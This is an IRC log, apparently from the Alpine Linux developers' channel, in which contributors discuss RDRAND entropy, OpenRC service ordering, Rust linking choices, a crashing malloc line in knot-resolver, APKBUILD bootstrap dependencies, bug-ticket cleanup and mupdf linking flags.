2019-04-25 11:14:28 <mps> and some security (theater) expert will write blog about (bad) Alpine enabled RDRAND by default
2019-04-25 11:14:55 <SpaceToast> mort___: if possible, could you drop the kernel cmdline args to disable it on boot-time into #alpine-docs? it's still very early for me (no idea why I'm awake) and I'm likely to forget otherwise
2019-04-25 11:16:06 <mort___> sure
2019-04-25 11:20:15 <mort___> fwiw i wrote a few notes when i looked into this - http://tpaste.us/Kgk9
2019-04-25 11:21:42 <hrio[m]> ikke: we have three different services in alpine that provides entropy
2019-04-25 11:21:57 <hrio[m]> rngd is not only for rdrand
2019-04-25 11:22:31 <hrio[m]> I use rndg with other hwrng solutions than rdrand
2019-04-25 11:25:58 <ncopa> hrio[m]: i think your "entropy" fixes in openrc scripts makes sense regardless
2019-04-25 11:26:22 <ncopa> the sooner we start collecting entropy the better
2019-04-25 11:26:29 <hrio[m]> I have also started work on entropybroker for alpine. That will provide entropy over the network to devices that lacks a TRNG trusted by the owner of the device
2019-04-25 11:28:01 <ncopa> _ikke_: im gonna look at the py-pandas issue now
2019-04-25 11:28:27 <hrio[m]> I.e. you could have lava lamps or what ever and provide the entrypy from that over the broker
2019-04-25 11:28:49 <SpaceToast> so we trust the network more than individual devices on said network? o.O
2019-04-25 11:29:14 <hrio[m]> The packets are encrypted and authenticated
2019-04-25 11:29:22 <SpaceToast> erm
2019-04-25 11:29:27 <SpaceToast> ... sure
2019-04-25 11:29:29 <ncopa> :D
2019-04-25 11:29:43 <SpaceToast> just don't ship it enabled by default pls :)
2019-04-25 11:30:11 <hrio[m]> Of course not, thats what provide entropy is for, choice
2019-04-25 11:30:32 <SpaceToast> yeah, I'd definitely rather trust RDRAND by default, rather than have haveged enabled by default, for example
2019-04-25 11:30:57 <ncopa> its good that you can pick your poison
2019-04-25 11:30:57 <hrio[m]> Yes, me too
2019-04-25 11:31:14 <SpaceToast> re: openrc patches, what exactly was done?
2019-04-25 11:31:47 <ncopa> there was some service(s?) that has "provides entropy"
2019-04-25 11:31:56 <ncopa> and various other has "depends entropy"
2019-04-25 11:32:13 <ncopa> so the entropy factories are started before the consumers
2019-04-25 11:32:26 <SpaceToast> hmm
2019-04-25 11:32:46 <SpaceToast> what happens if one does have rdrand and starts a service that depends on entropy?
2019-04-25 11:32:50 <SpaceToast> i.e is it "need" or is it "use"?
2019-04-25 11:32:59 <ncopa> it is "use"
2019-04-25 11:33:01 <hrio[m]> after
2019-04-25 11:33:05 <ncopa> or i think "after"
2019-04-25 11:33:08 <ncopa> so its not "need"
2019-04-25 11:33:10 <SpaceToast> ah ok
2019-04-25 11:33:16 <SpaceToast> ++ for the patches then
2019-04-25 11:33:42 <SpaceToast> openrc keywords are "fun" ^^;;
2019-04-25 11:41:48 <_ikke_> ncopa: thanks
2019-04-25 12:28:49 <hrio[m]> ncopa: rng-tools should probably be moved to main
2019-04-25 12:32:02 <_ikke_> kr0k0: https://git.alpinelinux.org/aports/commit/?id=3fc4f7d9
2019-04-25 12:36:11 <ncopa> hrio[m]: sounds reasonable
2019-04-25 12:36:31 <ncopa> _ikke_: i dont think there is anything using py2-pandas, so i think we can just rename it to py3-pandas
2019-04-25 12:36:50 <_ikke_> ncopa: That's fine with me
2019-04-25 12:36:59 <_ikke_> ncopa: Do you know what is causing the issue in the first place?
2019-04-25 12:37:35 <ncopa> not really
2019-04-25 12:37:48 <Cogitri> re Rust: https://github.com/rust-lang/rust/pull/60240
2019-04-25 12:38:02 <ncopa> im building it, but it does not seem to parallelize builds
2019-04-25 12:38:14 <_ikke_> yeah, it's taking a long time to build
2019-04-25 12:40:11 <ncopa> it smells like a bug in abuild
2019-04-25 12:40:35 <ncopa> yes
2019-04-25 12:40:40 <ncopa> definitively a bug in abuild
2019-04-25 12:40:51 <kr0k0> _ikke_: Thanks for info ^^
2019-04-25 12:41:52 <_ikke_> kr0k0: np, just noticed that
2019-04-25 12:44:27 <_ikke_> ncopa: ah ok
2019-04-25 12:45:23 <SpaceToast> Cogitri ++
2019-04-25 12:46:52 <Cogitri> So once Rust 1.35 has been released bootstrapping should become significantly easier
2019-04-25 12:48:25 <SpaceToast> it doesn't seem to be merged quite yet, but it's great news :)
2019-04-25 12:48:36 <SpaceToast> I'm already running into packages wanting 1.34 :/
2019-04-25 12:49:03 <Cogitri> Well, new Rustc features are exciting! :P
2019-04-25 12:49:32 <SpaceToast> I also looked at the bug they linked...
2019-04-25 12:50:00 <SpaceToast> interesting that rust developers are so into dynamic linking, when static linking is a big part of why the community picked it up (at least from what I can tell)
2019-04-25 12:50:16 <SpaceToast> then again, maybe they just mean bindings
2019-04-25 12:51:34 <Cogitri> Well, they do static linking for crates mainly because Rust doesn't have a stable ABI yet
2019-04-25 12:51:59 <Cogitri> It's entirely possible to make dynamic builds with Rust, but you'd have to build everything with the same rustc version which makes it a bit pointless
2019-04-25 12:52:37 <SpaceToast> sure, I'm just saying I'm surprised the devs seem to like/prefer dynamic linking and might switch to it fully later
2019-04-25 12:52:54 <SpaceToast> kind of discouraging to me
2019-04-25 12:53:06 <Cogitri> At least for native deps it almost always makes sense to dynamic link IMHO
2019-04-25 12:53:42 <Cogitri> I dynamic link everything but kinda crucial binaries (e.g. a statically built package manager is a good idea)
2019-04-25 12:53:53 <SpaceToast> well, opinions differ, of course :)
2019-04-25 12:54:08 <SpaceToast> for me it depends on the library and the scope of its usage
2019-04-25 12:54:31 <Cogitri> Sure :)
2019-04-25 12:54:31 <SpaceToast> i.e it makes sense to dynamically link to openssl, but statically link near everything else
2019-04-25 12:54:49 <Cogitri> How come?
2019-04-25 12:55:17 <Cogitri> I mean openssl to fix vulnerabilities, but why static link the rest?
2019-04-25 12:55:22 <SpaceToast> static linking is less vulnerable (the dynamic loader in general is a huge mess), loads faster, takes less space on average and is portable
2019-04-25 12:55:45 <SpaceToast> the advantage of dynamic linking is that you can drop things in and share memory (load the whole lib systemwide)
2019-04-25 12:56:05 <Cogitri> "take less space" Uh? :o
2019-04-25 12:56:07 <SpaceToast> but 1. loading a 20mb lib for a process that wants 1kb of that makes no sense; and 2. you now have to worry about ABI
2019-04-25 12:56:18 <Cogitri> I mean for a single application, sure, but in total you'll waste a lot of space
2019-04-25 12:56:28 <SpaceToast> that depends on the library and its usage :)
2019-04-25 12:57:35 <SpaceToast> still - I'm in favor of choice; I just don't want the rust devs to abandon static linking the moment dynamic becomes "more feasible", since static linking is a huge part of why I find rust to be attractive
2019-04-25 12:58:09 <SpaceToast> (similarly, I'd like to have -static variants for most libs in alpine, so if someone wants to build something statically, they could; re: applications it's more complicated of course)
2019-04-25 12:58:45 <ncopa> heh
2019-04-25 12:58:50 <ncopa> _ikke_: eaf19f88756e63006252a9d72a4e1af3ae4613e4
2019-04-25 12:59:22 <_ikke_> Yes, I was aware
2019-04-25 12:59:33 <ncopa> https://git.alpinelinux.org/aports/commit/?id=eaf19f88756e63006252a9d72a4e1af3ae4613e4
2019-04-25 12:59:57 <Cogitri> Hey, could someone test mozjs60 for me? It instantly segfaults :c
2019-04-25 13:00:10 <Cogitri> (Last blocker for GNOME-shell to run, I hope)
2019-04-25 13:00:12 <ncopa> _ikke_: the problem is subpkgarch="all"
2019-04-25 13:00:28 <_ikke_> ncopa: right, I mentioned that before
2019-04-25 13:00:42 <ncopa> and i thought it was a bug in abuild
2019-04-25 13:00:47 <ncopa> but it is not documented anywhere
2019-04-25 13:00:55 <ncopa> it is an internal variable
2019-04-25 13:01:14 <ncopa> also, there is no need to override the arch="all"
2019-04-25 13:01:15 <_ikke_> people will find out :)
2019-04-25 13:01:45 <ncopa> the arch="all" should set all the subpkg's arches to the same
2019-04-25 13:02:24 <ncopa> Cogitri: ncopa-desktop:~$ js60
2019-04-25 13:02:25 <ncopa> js>
2019-04-25 13:02:35 <_ikke_> I recall there i no way for the main package to be noarch and then subpackages having arch="all", right?
2019-04-25 13:03:17 <ncopa> js> print("hello world");
2019-04-25 13:03:17 <ncopa> hello world
2019-04-25 13:03:48 <Cogitri> ncopa: Hum, weird, that works but it segfaults with GNOME.
2019-04-25 13:03:49 <ncopa> _ikke_: that might be true
2019-04-25 13:03:55 <Cogitri> Will bump it and try again :)
2019-04-25 13:04:16 <ncopa> iirg gnome segfaulted for mee too when I last tried it
2019-04-25 13:04:28 <ncopa> can you get a core dump and see where it segfaults?
2019-04-25 13:05:32 <Cogitri> Uhh...where are coredumps put at when nothing collects them (I only know how systemd-coredump does it)
2019-04-25 13:05:48 <ncopa> in cwd
2019-04-25 13:05:53 <Cogitri> Metalog tells me it's in mozjs60 though
2019-04-25 13:06:09 <ncopa> you can override it with /proc/ soemthing
2019-04-25 13:06:18 <Cogitri> Alright, let's see where lightdm has its cwd then
2019-04-25 13:06:31 <ncopa> its /proc/sys/kernel/core_pattern
2019-04-25 13:07:16 <Cogitri> Thank you :)
2019-04-25 13:08:01 <ncopa> http://man7.org/linux/man-pages/man5/core.5.html see "naming of core dump files"
2019-04-25 13:08:11 <_ikke_> ncopa: should I push a fix for pandas?
2019-04-25 13:08:39 <ncopa> i think the proper fix would be to rename it to py3-pandas and remove py2 support
2019-04-25 13:09:00 <ncopa> _ikke_: would be great if you have time to do it
2019-04-25 13:09:04 <_ikke_> ncopa: sure
2019-04-25 13:09:08 <ncopa> thanks!
2019-04-25 13:19:58 <otlabs> hi ppl
2019-04-25 13:20:20 <otlabs> _ikke_: thanks for merge!
2019-04-25 13:20:25 <_ikke_> yw
2019-04-25 13:20:37 <otlabs> and thanks to everybody for your help!
2019-04-25 13:20:41 <Cogitri> ncopa: upgrading gjs fixed it, thanks for testing with js60
2019-04-25 13:21:25 <_ikke_> ncopa: I just recalled that the person submitted this did say that a lot of existing code still uses python2 pandas
2019-04-25 13:21:54 <_ikke_> https://github.com/alpinelinux/aports/pull/6251#issuecomment-467037312
2019-04-25 13:24:47 <ncopa> _ikke_: fair enough
2019-04-25 13:48:59 <tmhoang> ncopa: re entropy topic, are we really enabling that option ?
2019-04-25 13:49:23 <tmhoang> my experience with Alpine lacking entropy is only when I'm in virtual machines
2019-04-25 13:50:35 <tmhoang> and if the host passes virtio rng option, then no problem then.
2019-04-25 14:20:33 <ncopa>  tmhoang: yes, we are enabling it
2019-04-25 14:21:34 <ncopa> and it is only when it is low on other entropy sources that it will get more entropy from the cpu
2019-04-25 14:21:59 <ncopa> it will only contribute to the entropy pool
2019-04-25 14:26:13 <HRio> tmhoang: from Debian https://salsa.debian.org/kernel-team/linux/commit/9954895622f9a487416e30ed95e29789b5cbc729
2019-04-25 15:02:38 <insp> Hello, everyone!
2019-04-25 15:02:48 <north1> hi
2019-04-25 15:02:48 <tmhoang> ncopa, HRio: thanks for the info
2019-04-25 15:02:52 <insp> ncopa: how about pr7215?
2019-04-25 15:04:07 <Cogitri> Hello, insp
2019-04-25 15:04:57 <ncopa> insp: ok will try have a look at it tomorrow
2019-04-25 15:05:36 <insp> ncopa: ok
2019-04-25 15:38:10 <tcely> is there anything preventing merge of pr6265 ?
2019-04-25 16:33:09 <tcely> Does this look like a problem malloc to anyone else?
2019-04-25 16:33:09 <tcely> map_t *map = malloc(sizeof(*map));
2019-04-25 16:34:04 <SpaceToast> I'm quite rusty with my C
2019-04-25 16:34:07 <SpaceToast> but this seems VERY weird
2019-04-25 16:34:24 <SpaceToast> you're referencing the *map in a different sequence point, while defining it
2019-04-25 16:34:31 <SpaceToast> and you're taking the size of a pointer in general (?)
2019-04-25 16:34:40 <SpaceToast> it's unclear what's being accomplished there
2019-04-25 16:35:03 <tcely> a sigsegv in the module init is what I believe is being accomplished by that line
2019-04-25 16:35:09 <tcely> ;-)
2019-04-25 16:35:17 <SpaceToast> well that's unsurprising
2019-04-25 16:35:23 <SpaceToast> since *map doesn't exist yet
2019-04-25 16:35:27 <SpaceToast> and you're trying to access it
2019-04-25 16:35:38 <SpaceToast> my question is what it's TRYING to accomplish ;)
2019-04-25 16:35:49 <tcely> https://github.com/CZ-NIC/knot-resolver/commit/ac6b0755b18d0e172627ea0a424ede73642b0a4f
2019-04-25 16:36:19 <tcely> It looks like nobody actually tried out the stats module very much
2019-04-25 16:36:57 <SpaceToast> I don't see map_make()'s source
2019-04-25 16:37:50 <tcely> https://github.com/CZ-NIC/knot-resolver/blob/4ee98079d29c77214097ed4fddf5fde3f7f3634a/lib/generic/map.h#L71
2019-04-25 16:38:21 <SpaceToast> tcely: change line to `map_t *map = malloc(sizeof(map_t));`
2019-04-25 16:38:25 <SpaceToast> come back with new error
2019-04-25 16:38:54 <tcely> yup, that's the next patch. I'm reporting upstream at the moment.
2019-04-25 16:39:07 <north1> should packages move pkg-config files from /usr/share to /usr/lib in all cases ?
2019-04-25 16:40:16 <tcely> north1: Isn't it /usr/lib/pkg-config or something similar?
2019-04-25 16:42:17 <north1> /usr/share and /usr/lib are both acceptable for pkg-config according to the world, abuild only takes /usr/lib/pkgconfig
2019-04-25 16:47:11 <north1> See: https://bugs.alpinelinux.org/issues/10323 https://git.alpinelinux.org/aports/commit/?id=25c67fcc123d20363fbdb56a0e3f2cff15df8bd5
2019-04-25 16:51:04 <north1> Is there a keyword that can set issues in bug.alpinelinux.org to resolved ? like github has fixes/closes #ISSUENUM
2019-04-25 17:08:11 <tcely> I think fixes might do it
2019-04-25 17:08:26 <tcely> You can edit issues you filed the last time I looked.
2019-04-25 17:20:58 <tcely> ncopa: https://github.com/alpinelinux/abuild/pull/59 A quick grep shows just over 700 files that would need to use $origdepends instead.
2019-04-25 17:39:38 <north1> https://bugs.alpinelinux.org/issues/9807 someone resolve please
2019-04-25 17:42:30 <_ikke_> closed ticket
2019-04-25 17:42:42 <north1> thank you
2019-04-25 17:44:46 <north1> https://bugs.alpinelinux.org/issues/9607 Package request for qbs, which was abandoned upstream
2019-04-25 17:46:43 <Cogitri> (luckily)
2019-04-25 17:47:48 <north1> https://bugs.alpinelinux.org/issues/9562 Package request recently fulfilled
2019-04-25 17:50:29 <north1> https://bugs.alpinelinux.org/issues/9472  can be closed
2019-04-25 17:52:17 <north1> https://bugs.alpinelinux.org/issues/9133 so does
2019-04-25 17:56:53 <Cogitri> Is someone else getting a BUG from the linux-vanilla 4.19.36 on startup too? Will post a log in a bit
2019-04-25 17:57:27 <north1> https://bugs.alpinelinux.org/issues/8794 request fulfilled
2019-04-25 18:01:29 <mps> anyone have idea how to solve problem in APKBUILD where $package makedepends on $package-bootstrap?. i'm trying to solve this for crystal to not always build tarball with static version
2019-04-25 18:02:29 <mps> add 'apk add crystal-bootstrap' in prepare(), and 'apk del crystal-bootstrap' in clean()?
2019-04-25 18:02:39 <north1> https://bugs.alpinelinux.org/issues/8758 request fulfilled
2019-04-25 18:04:21 <SpaceToast> mps: take a look at go and go-bootstrap
2019-04-25 18:04:24 <SpaceToast> it's pretty weird though
2019-04-25 18:05:09 <mps> looked, they are separate packages and weird, agree with you
2019-04-25 18:06:08 <mps> hope to find better or less weird solution for this
2019-04-25 18:09:48 <north1> https://bugs.alpinelinux.org/issues/8385 can be closed
2019-04-25 18:14:46 <tcely> mps: makedepends="$pkgname-bootstrap" means you also need provides="$pkgname-bootstrap=$pkgver-r$pkgrel"
2019-04-25 18:14:53 <_ikke_> north1: done
2019-04-25 18:16:00 <tcely> it's just a way around abuild removing depends on $pkgname (and subpackages) so that we can handle self-hosting software.
2019-04-25 18:16:37 <_ikke_> It is kind of a circular dependency though
2019-04-25 18:17:17 <_ikke_> But yes, it's necessary
2019-04-25 18:20:06 <mps> tcely: I will try this. I already have makedepends="$pkgname-bootstrap=$pkgver-r$pkgrel" but this didn't worked
2019-04-25 18:20:47 <mps> will try with provides
2019-04-25 18:20:54 <tcely> mps: the depends won't work without also having the provides
2019-04-25 18:21:39 <mps> you mean provides in subpackage function?
2019-04-25 18:22:40 <tcely> it doesn't have to be in a subpackage
2019-04-25 18:23:49 <mps> 'provides' in 'top' APKBUILD?
2019-04-25 18:26:41 <tcely> yes, that will work
2019-04-25 18:27:25 <mps> thanks, will try
2019-04-25 18:30:48 <tcely> you're welcome
2019-04-25 19:45:16 <north1> _ikke_: thank you
2019-04-25 20:10:00 <otlabs> i need to include openssl/evp.h. which package to use: libressl-dev o openssl-dev?
2019-04-25 20:10:35 <north1> I think openssl-dev
2019-04-25 20:10:49 <otlabs> thanks
2019-04-25 20:14:12 <_ikke_> https://pkgs.alpinelinux.org/contents?file=evp.h&path=&name=&branch=edge&arch=x86_64
2019-04-25 21:08:46 <otlabs> thank you _ikke_! but how to choose which one to use?
2019-04-25 21:10:42 <_ikke_> as alpine is using openssl right now, openssl-dev is probably what you need
2019-04-25 21:10:50 <north1> otlabs: I think Alpine switched back to openssl
2019-04-25 21:11:19 <otlabs> north1: ok, i will use openssl
2019-04-25 21:22:56 <north1> https://bugs.alpinelinux.org/issues/9607 can be closed
2019-04-25 21:28:52 <nmeum> done
2019-04-25 21:29:10 <north1> thanks
2019-04-25 21:29:17 <north1> https://bugs.alpinelinux.org/issues/9562 testing/py-pandas is in the repos, can be closed
2019-04-25 21:32:43 <nmeum> done, thanks!
2019-04-25 21:32:51 <north1> thanks too :D
2019-04-25 21:35:40 <north1> packages introduced for checkdepends= of a package in community/ should also be in community/ ?
2019-04-25 21:42:06 <north1> https://bugs.alpinelinux.org/issues/9474 can be set to 'resolved'
2019-04-25 21:48:34 <otlabs> time to go, see you later!
2019-04-25 21:48:44 <north1> later
2019-04-25 22:12:39 <north1> https://bugs.alpinelinux.org/issues/8794 can be set to resolved
2019-04-25 22:15:51 <north1> https://bugs.alpinelinux.org/issues/8573 can be set to resolved
2019-04-25 22:25:27 <north1> https://bugs.alpinelinux.org/issues/8482 can be set to resolved
2019-04-26 01:12:07 <north1> What should i do with testsuites that require my input ? disable them ?
2019-04-26 01:15:49 <north1> yes . | make verify worked
2019-04-26 02:29:00 <north1> https://github.com/alpinelinux/aports/pull/7312 need marked as ci-malfunction, every update armhf takes more than 1 hour for some reason
2019-04-26 07:21:18 <ncopa> im essed up. dbus-glib doesnt even pass the CI
2019-04-26 07:21:20 <ncopa> and i pushed
2019-04-26 07:21:26 <ncopa> and now i need to catch a train... :-(
2019-04-26 07:49:23 <mps> algitbot: please learn that pw.a.o is patchwork.alpinelinux.org thanks :)
2019-04-26 07:51:19 <Cogitri> Heh, good bot
2019-04-26 07:51:51 <mps> hehe, some bots are nice
2019-04-26 07:54:28 <mps> I'm preparing mupdf upgrade with some build fixes and there are some CVE fixes, I think I should post these in few separate patches and not one big? Am I right?
2019-04-26 07:55:00 <mps> _ikke_: what you think about this
2019-04-26 07:56:30 <ncopa> mps: it is helpful that security fixes can easily be backported to stable branches
2019-04-26 07:56:41 <Cogitri> mps: FWIW, latest mupdf doesn't support dynamic linking at all anymore (at least from Upstream)
2019-04-26 07:57:26 <ncopa> So separating sec fix with feature update only makes sense if it makes it easier to backport
2019-04-26 07:58:23 <mps> ncopa: aha, first will look if some of these patches are applied upstream already
2019-04-26 07:59:07 <mps> Cogitri: I think I fixed it to build as shared
2019-04-26 07:59:10 <ncopa> Speaking of static, I think we should make abuild do automatic -static sub package
2019-04-26 08:00:09 <ncopa> Maybe with an install_if=“static ...”
2019-04-26 08:00:23 <north1> ncopa: +1
2019-04-26 08:01:43 <mps> Cogitri: uh, one lib is not god shape, thanks for pointing me to look at it
2019-04-26 08:03:12 <Cogitri> mps: Glad I could be of help :)
2019-04-26 08:07:31 <ncopa> Does anyone know how I can get in touch with J0WI on GitHub?
2019-04-26 08:10:16 <tmhoang> I believe he/she uses different name here in freenode
2019-04-26 08:10:43 <tmhoang> ncopa: so we are 1-2 week away from 3.10 ?
2019-04-26 08:11:00 <tmhoang> are the builders up ?
2019-04-26 08:11:12 <_ikke_> tmhoang: ncopa wanted to set them up today
2019-04-26 08:11:24 <tmhoang> thanks. I need to fix my patch queue...
2019-04-26 08:39:27 <north1> ^ spam
2019-04-26 08:42:08 <mps> spammers are desperate nowadays, they even registers to post spam
2019-04-26 08:43:10 <_ikke_> They even submit complete issues nowadays (rather than commenting on existing ones)
2019-04-26 08:43:13 <nmeum> ncopa: no, I haven't been able to do that either (apart from comments on github), he doesn't even seem to commit with a valid mail address
2019-04-26 08:44:32 <_ikke_> I guess we don't have a policy on that, do we?
2019-04-26 08:45:22 <nmeum> on commiting with "valid" mail addresses? probably not but would still be nice to have some kind of way to contact committers
2019-04-26 08:45:32 <_ikke_> Yes, it would
2019-04-26 09:11:41 <tmhoang> usually they do prepare/test for going on something huge
2019-04-26 09:54:47 <nmeum> _ikke_: you are pretty fast with adding labels ;)
2019-04-26 09:58:19 <_ikke_> Trying to keep up :)
2019-04-26 09:58:34 <_ikke_> Had a dull moment
2019-04-26 10:06:59 <nmeum> a
2019-04-26 10:07:03 <nmeum> oops
2019-04-26 10:37:23 <_ikke_> opal: ping
2019-04-26 10:39:19 <kmaxwell> if a subpackage includes a library is there a way to force it to bump a soname version?
2019-04-26 10:40:17 <_ikke_> kmaxwell: can you elaborate?
2019-04-26 10:44:47 <kmaxwell> I'll try :-)
2019-04-26 10:45:50 <kmaxwell> I'm working on a PR for qpdf, the qpdf-libs subpackage includes libqpdf.so.21
2019-04-26 10:46:30 <kmaxwell> it has the same version number in both qpdf-8.3.0 (in edge) and qpdf-8.4.0 which I'm working on
2019-04-26 10:48:15 <kmaxwell> the problem is that the qpdf-libs-8.3.0 satisfies the qpdf-8.4.0 dependencies that abuild detects
2019-04-26 10:49:04 <kmaxwell> but as soon as you run the binary it crashes with 'Error relocating.... symbol not found'
2019-04-26 10:49:13 <_ikke_> Sounds like an upstream bug
2019-04-26 10:49:27 <_ikke_> upstream decides the soname
2019-04-26 10:49:31 <_ikke_> iirc
2019-04-26 10:49:50 <clandmeter> It's not a soname issue
2019-04-26 10:49:55 <_ikke_> oh, ok
2019-04-26 10:50:24 <kmaxwell> clandmeter: thanks for jumping in, I'm about to reply to your GH comment
2019-04-26 10:50:47 <kmaxwell> I have reproduced this a couple of time in clean chroots
2019-04-26 10:51:22 <clandmeter> Why would it pull in the old lib?
2019-04-26 10:51:26 <kmaxwell> _ikke_: thanks for suggestions, I will try and read up on sonames for my old learning
2019-04-26 10:51:58 <kmaxwell> clandmeter: if you already have qpdf-libs installed it provides the old lib
2019-04-26 10:51:58 <clandmeter> Apk should always pull in the latest version of a package
2019-04-26 10:52:10 <clandmeter> That doesn't matter
2019-04-26 10:52:17 <kmaxwell> when you go to upgrade apk doesn't know it also needs to upgrade qpdf-libs
2019-04-26 10:52:33 <clandmeter> The new lib version is higher
2019-04-26 10:52:37 <kmaxwell> unless we add the dependency explicitly
2019-04-26 10:52:46 <kmaxwell> the new lib version is identical
2019-04-26 10:52:49 <clandmeter> So it should always pull that in
2019-04-26 10:53:00 <clandmeter> Not the version of the pkg
2019-04-26 10:53:21 <_ikke_> if qpdf-libs-8.3.0-0 is installed, and qpdf-8.4.0-0 is available, it should install that
2019-04-26 10:53:52 <mps> I had similar issue with mupdf few hours ago because I forgot to reindex local repo
2019-04-26 10:54:17 <mps> after reindex all was fine
2019-04-26 10:54:50 <kmaxwell> _ikke_: is that still true with an extra -libs
2019-04-26 10:55:03 <kmaxwell> qpdf-libs-8.3.0-0 is installed, and qpdf-libs-8.4.0-0 is available, it should install that
2019-04-26 10:55:29 <clandmeter> If you follow normal abuild development you should not bump into these issues
2019-04-26 10:55:42 <kmaxwell> so even if you're just installing qpdf, apk will install latest available version of all dependencies?
2019-04-26 10:55:47 <_ikke_> kmaxwell: Do you mean that -libs was the available for qpdf-8.3.0?
2019-04-26 10:55:54 <clandmeter> Yes
2019-04-26 10:56:09 <clandmeter> It always selected highest version
2019-04-26 10:56:26 <clandmeter> Had nothing to do with soname version
2019-04-26 10:56:56 <clandmeter> I'm not behind keyboard
2019-04-26 10:57:02 <kmaxwell> thanks everyone I didn't realise apk always selects highest version
2019-04-26 10:57:28 <clandmeter> So if it breaks you are doing something different
2019-04-26 10:57:33 <kmaxwell> clandmeter: I am not sure where I have diverged from "normal abuild development"
2019-04-26 10:58:01 <clandmeter> Me neither :)
2019-04-26 10:58:20 <kmaxwell> I didn't do it intentionally :-)
2019-04-26 10:58:38 <mps> kmaxwell: this happens to me if run 'abuild build rootpkg' and forget 'abuild index'
2019-04-26 10:58:39 <clandmeter> I think it should be written in wiki
2019-04-26 10:59:36 <clandmeter> Yes cause you should only do that to debug
2019-04-26 11:00:14 <clandmeter> Breaking down abuild steps
2019-04-26 11:00:20 <mps> yes, this is my debug workflow although at the end always use 'abuild -r'
2019-04-26 11:00:55 <kmaxwell> thought I was using 'abuild -r' too but will be careful
2019-04-26 11:01:21 <clandmeter> How did you install qpdf? New version
2019-04-26 11:01:48 <kmaxwell> sudo apk add ./qpdf-8.4.0-r0.apk
2019-04-26 11:01:56 <clandmeter> Boom
2019-04-26 11:02:00 <clandmeter> That's it
2019-04-26 11:02:07 <kmaxwell> how should I install a package I've built locally?
2019-04-26 11:02:08 <mps> apk update miss
2019-04-26 11:02:31 <clandmeter> It should put them in repodest
2019-04-26 11:02:48 <clandmeter> Mostly in home packages dir
2019-04-26 11:03:03 <clandmeter> And you can add it to your repo file
2019-04-26 11:03:24 <kmaxwell> yes in ~/packages, does that need to be in /etc/apk/repositories ?
2019-04-26 11:03:50 <_ikke_> yes
2019-04-26 11:03:57 <mps> yes, and your key in /etc/apk/keys
2019-04-26 11:03:59 <_ikke_> if you want to install locally built packages
2019-04-26 11:04:21 <kmaxwell> right, well I've learnt something
2019-04-26 11:04:49 <kmaxwell> I knew I needed the key in /etc/apk/keys because apk add fails without it
2019-04-26 11:05:25 <kmaxwell> but listing repodest ( ~/packages ) in /etc/apk/repositories I somehow missed
2019-04-26 11:05:42 <kmaxwell> will fix this PR and then check how clear the wiki is
2019-04-26 11:10:22 <clandmeter> abuild will add local repo automatically
2019-04-26 11:10:52 <clandmeter> But you need to add them if you want to do it post abuild
2019-04-26 11:15:12 <kmaxwell> got you, having REPODEST in /etc/apk/repositories for testing is normal development, installing from a path is not
2019-04-26 11:30:15 <mps> anyone know how to force mupdf build (make in APKBUILD) to link it's libs with libraries on which they depends
2019-04-26 11:30:36 <mps> shared link, I mean
2019-04-26 11:31:38 <mps> exe are linked correctly but development library is not
2019-04-26 11:43:20 <Cogitri> mps: Have you looked at how Void does it? What's the error msg?
2019-04-26 11:43:39 <kmaxwell> I changed https://wiki.alpinelinux.org/wiki/Creating_an_Alpine_package#Testing_the_package_locally to suggest adding to /etc/apk/repositories first
2019-04-26 11:44:00 <kmaxwell> and added a warning about installing without indexes
2019-04-26 11:44:09 <Cogitri> I did the bump to 1.14.0, and I can only recall having to pass `CURL_LIBS='-lcurl -lpthread'` to make during build
2019-04-26 11:45:02 <mps> yes, I looked. there is no errors in building but ldd pkg/mupdf/usr/lib/libmupdf.so.0 gives a lot of 'symbol not found'
2019-04-26 11:46:35 <mps> Cogitri: you are current maintainer of mupdf in void?
2019-04-26 11:46:58 <Cogitri> No, I just did the bump because I felt like it :P
2019-04-26 11:47:43 <mps> aha. ok
2019-04-26 11:50:09 <mps> I can send APKBUILD aports patch to tpaste.us if you mind to look it
2019-04-26 11:51:57 <mps> just added your extra flags to make
2019-04-26 11:53:02 <mps> here it is http://tpaste.us/J6el
2019-04-26 12:06:06 <Cogitri> Thanks, will take a look at it
2019-04-26 12:09:54 <mps> oh, forgot to send file which patch Makefile, had to change it. but I'm now afk, will send later
2019-04-26 12:17:27 <Cogitri> Okie
2019-04-26 12:17:29 <Cogitri> I'll just use the patches I did for Void
2019-04-26 12:18:06 <mps> there are secfixes only as I see
2019-04-26 12:18:43 <mps> we want first upgrade it in one commit and after that apply secfixes in another patch
2019-04-26 12:22:43 <Cogitri> That's good to know, thanks :)
2019-04-26 12:23:26 <mps> oh, sorry, on the above tpaste link is complete patch for aports, with changes I made to Makefile. slept bad last night, just five hours
2019-04-26 12:24:43 <mps> and, yes, thank you for help
2019-04-26 12:24:57 <Cogitri> Oh, I don't function with <7 hours of sleep, so don't worry :)
2019-04-26 12:32:36 <Cogitri> Hum, mupdf builds just fine for me, so it's most likely a missing dep I have on my system. I'm currently setting up a new, clean install. Will report back once I'm done with that
2019-04-26 12:34:26 <mps> it builds fine for me also, but ldd usr/lib/libmupdf.so.0 after install gives a lot of 'symbol not found'
2019-04-26 12:34:38 <mps> binary works quite fine
2019-04-26 12:35:13 <Cogitri> Ah, got it
2019-04-26 12:37:13 <mps> I have zathura-pdf-mupdf in my local repo about one year, and I think it will not be rebuilt with upgraded mupdf-dev
2019-04-26 12:41:33 <mps> currently, nothing depends on mupdf-dev in aports but probably something will in future (I plan to post zathura-pdf-mupdf)
2019-04-26 12:42:13 <mps> and maybe it will be needed for something else, because that I would like it to be correct
2019-04-26 12:43:35 <Cogitri> Can be compiled just fine with `LDFLAGS="-ljpeg -lopenjp2 -ljbig2dec"`
2019-04-26 12:43:42 <Cogitri> That's how I fixed it in Void
2019-04-26 12:44:13 <Cogitri> Since mupdf doesn't come with pkg-config it doesn't specify its private deps, so I just linked against them manually
2019-04-26 12:47:11 <mps> hmm, yes, I tried with `LINK="-ljpeg -lopenjp2 -ljbig2dec"`, and obviously I'm blind :o
2019-04-26 13:30:54 <mps> Cogitri: I looked at the mupdf in stable Alpine, 1.13.0 version and see it have same issue
2019-04-26 13:31:22 <mps> seems no one used this lib for anything
2019-04-26 13:36:14 <Cogitri> Possibly
2019-04-26 13:36:22 <Cogitri> Most have switched to poppler it seems
2019-04-26 13:37:21 <mps> looks like it is. I wasted few hours on 'non issue' :)
2019-04-26 13:44:26 <Cogitri> :c
2019-04-26 13:45:03 <Cogitri> BTW, rootbld can't cache the "base deps" (alpine-sdk basically) somehow, can it?
2019-04-26 13:45:35 <Cogitri> Kinda annoying that it installs gcc and everything again for every new build
